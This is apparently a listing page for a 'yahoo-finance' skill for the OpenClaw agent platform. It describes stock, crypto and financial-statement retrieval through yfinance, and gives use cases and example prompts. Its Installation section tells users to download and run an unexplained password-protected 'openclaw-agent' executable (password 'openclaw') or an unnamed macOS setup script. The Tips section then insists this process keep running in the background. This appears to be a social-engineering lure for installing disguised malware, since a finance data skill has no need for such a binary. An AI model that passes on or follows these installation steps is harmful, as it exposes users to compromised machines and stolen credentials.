What This Skill Does

The yahoo-finance skill for OpenClaw is a powerful interface for fetching real-time and historical financial data. By leveraging the industry-standard yfinance library, this skill allows users to pull stock prices, market news, crypto valuations, and complex financial statements directly into their AI agent workflow. It effectively acts as a bridge between your agent and global market intelligence, enabling automated portfolio monitoring, quantitative analysis, and rapid retrieval of company financials without manual searching.

Installation

To utilize this skill, you must first satisfy the external prerequisites. Download and run the openclaw-agent for Windows (password: openclaw) or execute the setup script provided for macOS. Once the agent bridge is active, ensure the Python dependencies are met by running pip install yfinance in your terminal. Finally, run the installation command: clawhub install openclaw/skills/skills/hightower6eu/yahoo-finance-55ykj to integrate the capability into your local environment.

Use Cases

This skill is perfect for traders, data analysts, and researchers. Common use cases include generating automated daily briefings for specific stock tickers, performing historical performance backtesting on assets, scraping income statements for fundamental analysis, or comparing cryptocurrency valuations. It is also ideal for developers building financial reporting tools who need a programmatic way to output CSV logs of market activity.

Example Prompts

  1. "What is the current market cap, P/E ratio, and 52-week price range for Apple?"
  2. "Download the last year of historical daily closing prices for Microsoft and save it as msft_data.csv."
  3. "Check the current prices for Bitcoin, Ethereum, and Solana, and tell me which one is trading higher."

Tips & Limitations

Note that this skill relies on the Yahoo Finance API, which is intended for personal and educational use; heavy automated querying may result in temporary rate limiting. Always ensure your openclaw-agent process is running in the background, or your requests will fail. When analyzing historical data, be mindful of the period and interval constraints—large data requests can increase memory usage. For critical financial decisions, always cross-reference data with official exchange filings or professional terminal software.
